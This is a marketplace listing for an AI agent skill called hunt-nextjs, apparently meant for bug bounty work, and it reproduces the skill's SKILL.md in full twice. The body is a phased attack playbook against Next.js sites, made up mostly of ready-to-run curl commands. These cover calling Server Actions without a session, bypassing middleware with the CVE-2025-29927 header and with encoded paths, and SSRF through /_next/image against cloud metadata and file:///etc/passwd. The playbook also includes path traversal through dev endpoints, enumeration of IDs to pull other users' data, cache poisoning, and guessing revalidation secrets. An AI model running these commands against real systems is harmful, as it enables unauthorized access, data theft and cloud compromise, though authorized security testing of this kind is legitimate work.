Claude Skill

hunt-nextjs

Hunt Next.js specific vulnerabilities — Server Actions arbitrary function execution, Middleware auth bypass via static asset paths, ISR cache poisoning, Image Optimization SSRF (/_next/image), RSC payload leakage, getServerSideProps injection, source map exposure, debug endpoint

LLM Mart · 0 points · 17 views 1 listing impressions 0 install-command copies
Virus-scanned Reviewed automatically before listing.

Full trust report

Download elementalsouls-Claude-BugHunter-skills_hunt-nextjs-1f9cdb6.zip · 4 KB
Part of elementalsouls/claude-bughunter — 83 skills

Install

skills CLI npx skills add https://github.com/elementalsouls/Claude-BugHunter/tree/main/skills/hunt-nextjs
Claude Code claude plugin marketplace add https://llmmart.ai/marketplace.json && claude plugin install elementalsouls-claude-bughunter@llmmart
Git git clone https://github.com/elementalsouls/Claude-BugHunter.git

The skills CLI installs just this skill, for any of its supported agents. Claude Code installs the whole elementalsouls/claude-bughunter collection as a plugin from our marketplace. Git is the plain clone.

Skill manifest

HUNT-NEXTJS — Next.js / SSR Framework Vulnerabilities

Crown Jewel Targets

Next.js-specific bugs that bypass auth or reach SSRF = High/Critical.

Highest-value chains:

  • Server Actions auth bypass — Server Actions enforce auth client-side only → call action ID directly → unauthorized data mutation or exfil
  • Middleware bypass via /_next/static/ — middleware skips static asset paths → protected routes accessible via /_next/data/ IDOR
  • /_next/image SSRF — Image optimizer fetches attacker-controlled URL → internal network scan or cloud metadata
  • ISR stale cache poisoning — inject malicious content into a cached page that gets served to all users
  • RSC payload leakage — React Server Component flight data contains server-side props not meant for client

Attack Surface Signals

/_next/image?url=&w=&q=          Image optimizer — SSRF candidate
/_next/data/BUILD_ID/*.json      Prerendered page data — IDOR candidate
/__nextjs_original-stack-frame   Debug stack frame endpoint
/_next/static/chunks/            JS bundles — source map candidate
/api/                            API routes — standard hunt surface
__NEXT_DATA__ in HTML            SSR props leaked to client
x-nextjs-* response headers      Confirms Next.js

Phase 1 — Fingerprint & Version Detection

# Confirm Next.js and get build ID
curl -s https://$TARGET/ | grep -oP '"buildId":"[^"]+"'
curl -sI https://$TARGET/ | grep -i "x-powered-by\|x-nextjs"

# Extract build ID for /_next/data/ paths
BUILD_ID=$(curl -s https://$TARGET/ | grep -oP '"buildId":"\K[^"]+')
echo "Build ID: $BUILD_ID"

# Check Next.js version via package disclosure
curl -s https://$TARGET/_next/static/chunks/framework*.js | grep -oP '"next":"[^"]+"'

# Source map exposure
curl -s "https://$TARGET/_next/static/chunks/pages/index.js.map" | head -5
curl -s "https://$TARGET/_next/static/chunks/main.js.map" | head -5

Phase 2 — Server Actions Abuse

# Server Actions in Next.js 14+ use x-action-id or Next-Action header
# Find action IDs in HTML source or JS bundles
curl -s https://$TARGET/ | grep -oP '"action":"[a-f0-9]+"'
grep -r "createActionURL\|$$ACTION_" recon/$TARGET/ --include="*.js" 2>/dev/null

# Call Server Action directly without auth
curl -s -X POST https://$TARGET/target-page \
  -H "Next-Action: ACTION_ID_HERE" \
  -H "Content-Type: multipart/form-data; boundary=----" \
  -H "Cookie: " \
  --data-raw $'------\r\nContent-Disposition: form-data; name="1"\r\n\r\n[]\r\n------\r\n'

# Test: does the action execute without a valid session?
# If it returns data or mutates state → auth enforcement is client-side only

Phase 3 — Middleware Auth Bypass

# Next.js middleware runs on edge runtime and may skip certain paths
# Test protected route directly
curl -s -o /dev/null -w "%{http_code}" https://$TARGET/admin/dashboard
# → 200 means accessible

# Test via /_next/data/ (SSG/ISR JSON) — middleware may not apply
curl -s "https://$TARGET/_next/data/$BUILD_ID/admin/dashboard.json"

# Test via static asset path prefix (middleware matcher may exclude /_next/static)
curl -s "https://$TARGET/_next/static/../admin/dashboard"

# Encoded path bypass
curl -s "https://$TARGET/%5Fnext/data/$BUILD_ID/admin/users.json"
curl -s "https://$TARGET/_next/data/$BUILD_ID/..%2Fadmin%2Fusers.json"

Middleware bypass via x-middleware-subrequest (CVE-2025-29927)

Next skips middleware execution entirely when this header asserts an internal subrequest — bypassing auth/redirect middleware on gated routes.

curl -s -o /dev/null -w "%{http_code}" https://$TARGET/admin/dashboard \
  -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"
# also: -H "x-middleware-subrequest: src/middleware"  and  "pages/_middleware"
# 200 on a middleware-gated route = bypassed. Fixed 12.3.5 / 13.5.9 / 14.2.25 / 15.2.3.

Phase 4 — Image Optimization SSRF (/_next/image)

# Basic SSRF test — internal metadata
curl -s "https://$TARGET/_next/image?url=http://169.254.169.254/latest/meta-data/&w=64&q=75"

# Protocol bypass attempts
curl -s "https://$TARGET/_next/image?url=file:///etc/passwd&w=64&q=75"
curl -s "https://$TARGET/_next/image?url=http://127.0.0.1:6379/&w=64&q=75"

# OOB detection — use a UNIQUE per-test subdomain so callbacks can't be confused
COLLAB="http://UNIQUE.COLLAB_HOST"
curl -s "https://$TARGET/_next/image?url=$COLLAB/nextjs-ssrf&w=64&q=75"
# Check Interactsh/Burp Collaborator for DNS/HTTP callback on that exact subdomain

FALSE-POSITIVE GUARD (read before claiming SSRF): /_next/image only fetches URLs allowed by images.remotePatterns / images.domains in next.config.js. A non-whitelisted url returns 400 by default — that is the optimizer's normal allowlist rejection, NOT a "block" you bypassed. A 200 returns an optimized image, not the upstream response body, so a status code alone NEVER confirms SSRF. Confirm only via an out-of-band callback to a unique Collaborator subdomain (above), or by body-diffing a known-internal vs known-external target. Do not report on status code.

Note: CVE-2024-34351 (Next.js SSRF, GHSA-fr5h-rqp8-mj6g, affects 13.4.0 through < 14.1.1, fixed in 14.1.1) is a Server Actions SSRF — a relative redirect that trusts the Host header — NOT a /_next/image bug, and it does NOT affect Host-routed providers like Vercel. See Phase 2 for the Server Actions surface.


Phase 5 — /_next/data/ IDOR & Data Leakage

# Enumerate prerendered JSON for user-specific data
# Pattern: /_next/data/BUILD_ID/[page].json or /_next/data/BUILD_ID/[dynamic]/[id].json
curl -s "https://$TARGET/_next/data/$BUILD_ID/profile.json" \
  -H "Cookie: session=VICTIM_SESSION"

# Try other users' data
for ID in 1 2 3 100 1000; do
  curl -s "https://$TARGET/_next/data/$BUILD_ID/users/$ID.json" | head -3
done

# Check __NEXT_DATA__ in HTML for sensitive server-side props
curl -s "https://$TARGET/dashboard" | \
  python3 -c "import sys,re,json; m=re.search(r'<script id=\"__NEXT_DATA__\"[^>]*>(.*?)</script>',sys.stdin.read(),re.S); print(json.dumps(json.loads(m.group(1)),indent=2) if m else 'not found')"

Phase 6 — ISR Cache Poisoning

# ISR pages regenerate on request after revalidation period
# If user input influences the static page content without sanitization:
# 1. Trigger revalidation with malicious input in URL/query
# 2. Injected content cached and served to all users

# Test: does query param affect cached page content?
# Use a UNIQUE marker (not a generic <script>) so a match proves YOUR input landed,
# and confirm the response was actually CACHED + served to a DIFFERENT client.
MARK="zqx$(date +%s)"
# 1) Poison with the marker
curl -s "https://$TARGET/blog/test-post?preview=<b>$MARK</b>" -o /dev/null
# 2) Re-fetch the CLEAN url (no query) from a fresh client and grep the marker.
#    Body-diff clean-vs-poisoned and check x-nextjs-cache / age headers — a reflected
#    marker WITHOUT proof it persists in the cache key is just reflection, not poisoning.
curl -si "https://$TARGET/blog/test-post" | grep -iE "$MARK|x-nextjs-cache|age:"

# On-demand revalidation endpoint (if exposed)
curl -s "https://$TARGET/api/revalidate?secret=GUESS&path=/blog/test"
curl -s "https://$TARGET/api/revalidate?token=GUESS&path=/admin"

Phase 7 — Debug & Stack Frame Endpoints

Precondition: __nextjs_launch-editor and __nextjs_original-stack-frame are react-dev-overlay middleware mounted ONLY under next dev. A production build (next build && next start) does not register these routes — a 404 here is the normal, expected result, not a "filter" you need to bypass. They are reachable ONLY in the rare misconfiguration of literally running next dev in production. Treat any non-404 as the real finding; do NOT report a 404/filtered response as confirmation.

# First confirm dev mode is actually exposed (anything but 404 = dev server in prod)
curl -s -o /dev/null -w "%{http_code}" \
  "https://$TARGET/__nextjs_original-stack-frame?isServer=true&errorMessage=test"

# Only if the above is NOT 404: the launch-editor / stack-frame endpoints can
# reference local files (file-read surface of a dev server wrongly exposed)
curl -s "https://$TARGET/__nextjs_launch-editor?file=../../etc/passwd&line=1"
curl -s "https://$TARGET/__nextjs_original-stack-frame" \
  --data '{"file":"/etc/passwd","line":1,"column":1}'

Phase 8 — Environment Variable Leakage

# NEXT_PUBLIC_* vars are baked into JS bundles — grep for secrets
curl -s "https://$TARGET/_next/static/chunks/pages/_app.js" | \
  grep -oE "NEXT_PUBLIC_[A-Z_]+['\"]?\s*[:=]\s*['\"]?[^'\"&\s]+"

# Check for non-public vars accidentally exposed
curl -s https://$TARGET/ | python3 -c "
import sys, re, json
m = re.search(r'__NEXT_DATA__.*?({.*?})</script>', sys.stdin.read(), re.S)
if m:
    d = json.loads(m.group(1))
    print(json.dumps(d.get('props', {}), indent=2))
"

Chain Table

Next.js finding Chain to Impact
Server Action no auth Call privileged mutations directly Data manipulation / admin access
/_next/image SSRF Cloud metadata → IAM creds Cloud compromise
/_next/data/ IDOR Other users' server-side props PII / token exfil
Middleware bypass Protected admin routes Auth bypass
Source map exposed Reconstruct TS source → find hardcoded secrets Further vulns
__NEXT_DATA__ leaks Server-side secrets in HTML API keys / tokens

Validation

✅ Server Action: action executes without valid session, returns data or mutates state ✅ SSRF: DNS/HTTP callback received from /_next/image SSRF ✅ Middleware bypass: 200 response on protected route without auth cookie ✅ Data leak: __NEXT_DATA__ contains non-public secrets or other users' PII

Severity:

  • Server Action auth bypass → data mutation: High/Critical
  • Image SSRF → cloud metadata: Critical
  • Middleware bypass → admin panel: High
  • Source map exposure only: Low-Medium
Files (claude-bughunter)
  • SKILL.md 10.4 KB
    ---
    name: hunt-nextjs
    description: Hunt Next.js specific vulnerabilities — Server Actions arbitrary function execution, Middleware auth bypass via static asset paths, ISR cache poisoning, Image Optimization SSRF (/_next/image), RSC payload leakage, getServerSideProps injection, source map exposure, debug endpoint leakage. Use when target runs Next.js 13/14/15 or any React SSR framework.
    sources: "cve_database (CVE-2024-34351 / GHSA-fr5h-rqp8-mj6g), Next.js advisories"
    report_count: 0
    ---
    
    # HUNT-NEXTJS — Next.js / SSR Framework Vulnerabilities
    
    ## Crown Jewel Targets
    
    Next.js-specific bugs that bypass auth or reach SSRF = High/Critical.
    
    **Highest-value chains:**
    - **Server Actions auth bypass** — Server Actions enforce auth client-side only → call action ID directly → unauthorized data mutation or exfil
    - **Middleware bypass via `/_next/static/`** — middleware skips static asset paths → protected routes accessible via `/_next/data/` IDOR
    - **`/_next/image` SSRF** — Image optimizer fetches attacker-controlled URL → internal network scan or cloud metadata
    - **ISR stale cache poisoning** — inject malicious content into a cached page that gets served to all users
    - **RSC payload leakage** — React Server Component flight data contains server-side props not meant for client
    
    ---
    
    ## Attack Surface Signals
    
    ```
    /_next/image?url=&w=&q=          Image optimizer — SSRF candidate
    /_next/data/BUILD_ID/*.json      Prerendered page data — IDOR candidate
    /__nextjs_original-stack-frame   Debug stack frame endpoint
    /_next/static/chunks/            JS bundles — source map candidate
    /api/                            API routes — standard hunt surface
    __NEXT_DATA__ in HTML            SSR props leaked to client
    x-nextjs-* response headers      Confirms Next.js
    ```
    
    ---
    
    ## Phase 1 — Fingerprint & Version Detection
    
    ```bash
    # Confirm Next.js and get build ID
    curl -s https://$TARGET/ | grep -oP '"buildId":"[^"]+"'
    curl -sI https://$TARGET/ | grep -i "x-powered-by\|x-nextjs"
    
    # Extract build ID for /_next/data/ paths
    BUILD_ID=$(curl -s https://$TARGET/ | grep -oP '"buildId":"\K[^"]+')
    echo "Build ID: $BUILD_ID"
    
    # Check Next.js version via package disclosure
    curl -s https://$TARGET/_next/static/chunks/framework*.js | grep -oP '"next":"[^"]+"'
    
    # Source map exposure
    curl -s "https://$TARGET/_next/static/chunks/pages/index.js.map" | head -5
    curl -s "https://$TARGET/_next/static/chunks/main.js.map" | head -5
    ```
    
    ---
    
    ## Phase 2 — Server Actions Abuse
    
    ```bash
    # Server Actions in Next.js 14+ use x-action-id or Next-Action header
    # Find action IDs in HTML source or JS bundles
    curl -s https://$TARGET/ | grep -oP '"action":"[a-f0-9]+"'
    grep -r "createActionURL\|$$ACTION_" recon/$TARGET/ --include="*.js" 2>/dev/null
    
    # Call Server Action directly without auth
    curl -s -X POST https://$TARGET/target-page \
      -H "Next-Action: ACTION_ID_HERE" \
      -H "Content-Type: multipart/form-data; boundary=----" \
      -H "Cookie: " \
      --data-raw $'------\r\nContent-Disposition: form-data; name="1"\r\n\r\n[]\r\n------\r\n'
    
    # Test: does the action execute without a valid session?
    # If it returns data or mutates state → auth enforcement is client-side only
    ```
    
    ---
    
    ## Phase 3 — Middleware Auth Bypass
    
    ```bash
    # Next.js middleware runs on edge runtime and may skip certain paths
    # Test protected route directly
    curl -s -o /dev/null -w "%{http_code}" https://$TARGET/admin/dashboard
    # → 200 means accessible
    
    # Test via /_next/data/ (SSG/ISR JSON) — middleware may not apply
    curl -s "https://$TARGET/_next/data/$BUILD_ID/admin/dashboard.json"
    
    # Test via static asset path prefix (middleware matcher may exclude /_next/static)
    curl -s "https://$TARGET/_next/static/../admin/dashboard"
    
    # Encoded path bypass
    curl -s "https://$TARGET/%5Fnext/data/$BUILD_ID/admin/users.json"
    curl -s "https://$TARGET/_next/data/$BUILD_ID/..%2Fadmin%2Fusers.json"
    ```
    
    ---
    
    ### Middleware bypass via `x-middleware-subrequest` (CVE-2025-29927)
    Next skips middleware execution entirely when this header asserts an internal subrequest — bypassing auth/redirect middleware on gated routes.
    ```bash
    curl -s -o /dev/null -w "%{http_code}" https://$TARGET/admin/dashboard \
      -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"
    # also: -H "x-middleware-subrequest: src/middleware"  and  "pages/_middleware"
    # 200 on a middleware-gated route = bypassed. Fixed 12.3.5 / 13.5.9 / 14.2.25 / 15.2.3.
    ```
    
    ## Phase 4 — Image Optimization SSRF (`/_next/image`)
    
    ```bash
    # Basic SSRF test — internal metadata
    curl -s "https://$TARGET/_next/image?url=http://169.254.169.254/latest/meta-data/&w=64&q=75"
    
    # Protocol bypass attempts
    curl -s "https://$TARGET/_next/image?url=file:///etc/passwd&w=64&q=75"
    curl -s "https://$TARGET/_next/image?url=http://127.0.0.1:6379/&w=64&q=75"
    
    # OOB detection — use a UNIQUE per-test subdomain so callbacks can't be confused
    COLLAB="http://UNIQUE.COLLAB_HOST"
    curl -s "https://$TARGET/_next/image?url=$COLLAB/nextjs-ssrf&w=64&q=75"
    # Check Interactsh/Burp Collaborator for DNS/HTTP callback on that exact subdomain
    ```
    
    **FALSE-POSITIVE GUARD (read before claiming SSRF):** `/_next/image` only
    fetches URLs allowed by `images.remotePatterns` / `images.domains` in
    `next.config.js`. A non-whitelisted `url` returns **400 by default** — that is
    the optimizer's normal allowlist rejection, NOT a "block" you bypassed. A **200**
    returns an *optimized image*, not the upstream response body, so a status code
    alone NEVER confirms SSRF. Confirm only via an **out-of-band callback to a unique
    Collaborator subdomain** (above), or by body-diffing a known-internal vs
    known-external target. Do not report on status code.
    
    > Note: CVE-2024-34351 (Next.js SSRF, GHSA-fr5h-rqp8-mj6g, affects 13.4.0
    > through < 14.1.1, fixed in 14.1.1) is a **Server Actions** SSRF — a relative
    > redirect that trusts the `Host` header — NOT a `/_next/image` bug, and it does
    > NOT affect Host-routed providers like Vercel. See Phase 2 for the Server
    > Actions surface.
    
    ---
    
    ## Phase 5 — `/_next/data/` IDOR & Data Leakage
    
    ```bash
    # Enumerate prerendered JSON for user-specific data
    # Pattern: /_next/data/BUILD_ID/[page].json or /_next/data/BUILD_ID/[dynamic]/[id].json
    curl -s "https://$TARGET/_next/data/$BUILD_ID/profile.json" \
      -H "Cookie: session=VICTIM_SESSION"
    
    # Try other users' data
    for ID in 1 2 3 100 1000; do
      curl -s "https://$TARGET/_next/data/$BUILD_ID/users/$ID.json" | head -3
    done
    
    # Check __NEXT_DATA__ in HTML for sensitive server-side props
    curl -s "https://$TARGET/dashboard" | \
      python3 -c "import sys,re,json; m=re.search(r'<script id=\"__NEXT_DATA__\"[^>]*>(.*?)</script>',sys.stdin.read(),re.S); print(json.dumps(json.loads(m.group(1)),indent=2) if m else 'not found')"
    ```
    
    ---
    
    ## Phase 6 — ISR Cache Poisoning
    
    ```bash
    # ISR pages regenerate on request after revalidation period
    # If user input influences the static page content without sanitization:
    # 1. Trigger revalidation with malicious input in URL/query
    # 2. Injected content cached and served to all users
    
    # Test: does query param affect cached page content?
    # Use a UNIQUE marker (not a generic <script>) so a match proves YOUR input landed,
    # and confirm the response was actually CACHED + served to a DIFFERENT client.
    MARK="zqx$(date +%s)"
    # 1) Poison with the marker
    curl -s "https://$TARGET/blog/test-post?preview=<b>$MARK</b>" -o /dev/null
    # 2) Re-fetch the CLEAN url (no query) from a fresh client and grep the marker.
    #    Body-diff clean-vs-poisoned and check x-nextjs-cache / age headers — a reflected
    #    marker WITHOUT proof it persists in the cache key is just reflection, not poisoning.
    curl -si "https://$TARGET/blog/test-post" | grep -iE "$MARK|x-nextjs-cache|age:"
    
    # On-demand revalidation endpoint (if exposed)
    curl -s "https://$TARGET/api/revalidate?secret=GUESS&path=/blog/test"
    curl -s "https://$TARGET/api/revalidate?token=GUESS&path=/admin"
    ```
    
    ---
    
    ## Phase 7 — Debug & Stack Frame Endpoints
    
    **Precondition:** `__nextjs_launch-editor` and `__nextjs_original-stack-frame`
    are react-dev-overlay middleware mounted ONLY under `next dev`. A production
    build (`next build && next start`) does not register these routes — a 404 here
    is the normal, expected result, not a "filter" you need to bypass. They are
    reachable ONLY in the rare misconfiguration of literally running `next dev` in
    production. Treat any non-404 as the real finding; do NOT report a 404/filtered
    response as confirmation.
    
    ```bash
    # First confirm dev mode is actually exposed (anything but 404 = dev server in prod)
    curl -s -o /dev/null -w "%{http_code}" \
      "https://$TARGET/__nextjs_original-stack-frame?isServer=true&errorMessage=test"
    
    # Only if the above is NOT 404: the launch-editor / stack-frame endpoints can
    # reference local files (file-read surface of a dev server wrongly exposed)
    curl -s "https://$TARGET/__nextjs_launch-editor?file=../../etc/passwd&line=1"
    curl -s "https://$TARGET/__nextjs_original-stack-frame" \
      --data '{"file":"/etc/passwd","line":1,"column":1}'
    ```
    
    ---
    
    ## Phase 8 — Environment Variable Leakage
    
    ```bash
    # NEXT_PUBLIC_* vars are baked into JS bundles — grep for secrets
    curl -s "https://$TARGET/_next/static/chunks/pages/_app.js" | \
      grep -oE "NEXT_PUBLIC_[A-Z_]+['\"]?\s*[:=]\s*['\"]?[^'\"&\s]+"
    
    # Check for non-public vars accidentally exposed
    curl -s https://$TARGET/ | python3 -c "
    import sys, re, json
    m = re.search(r'__NEXT_DATA__.*?({.*?})</script>', sys.stdin.read(), re.S)
    if m:
        d = json.loads(m.group(1))
        print(json.dumps(d.get('props', {}), indent=2))
    "
    ```
    
    ---
    
    ## Chain Table
    
    | Next.js finding | Chain to | Impact |
    |----------------|----------|--------|
    | Server Action no auth | Call privileged mutations directly | Data manipulation / admin access |
    | `/_next/image` SSRF | Cloud metadata → IAM creds | Cloud compromise |
    | `/_next/data/` IDOR | Other users' server-side props | PII / token exfil |
    | Middleware bypass | Protected admin routes | Auth bypass |
    | Source map exposed | Reconstruct TS source → find hardcoded secrets | Further vulns |
    | `__NEXT_DATA__` leaks | Server-side secrets in HTML | API keys / tokens |
    
    ---
    
    ## Validation
    
    ✅ Server Action: action executes without valid session, returns data or mutates state
    ✅ SSRF: DNS/HTTP callback received from `/_next/image` SSRF
    ✅ Middleware bypass: 200 response on protected route without auth cookie
    ✅ Data leak: `__NEXT_DATA__` contains non-public secrets or other users' PII
    
    **Severity:**
    - Server Action auth bypass → data mutation: High/Critical
    - Image SSRF → cloud metadata: Critical
    - Middleware bypass → admin panel: High
    - Source map exposure only: Low-Medium
    

Comments (0)

Sign in to join the conversation.

No comments yet.

Reviews (0)

No reviews yet.

Related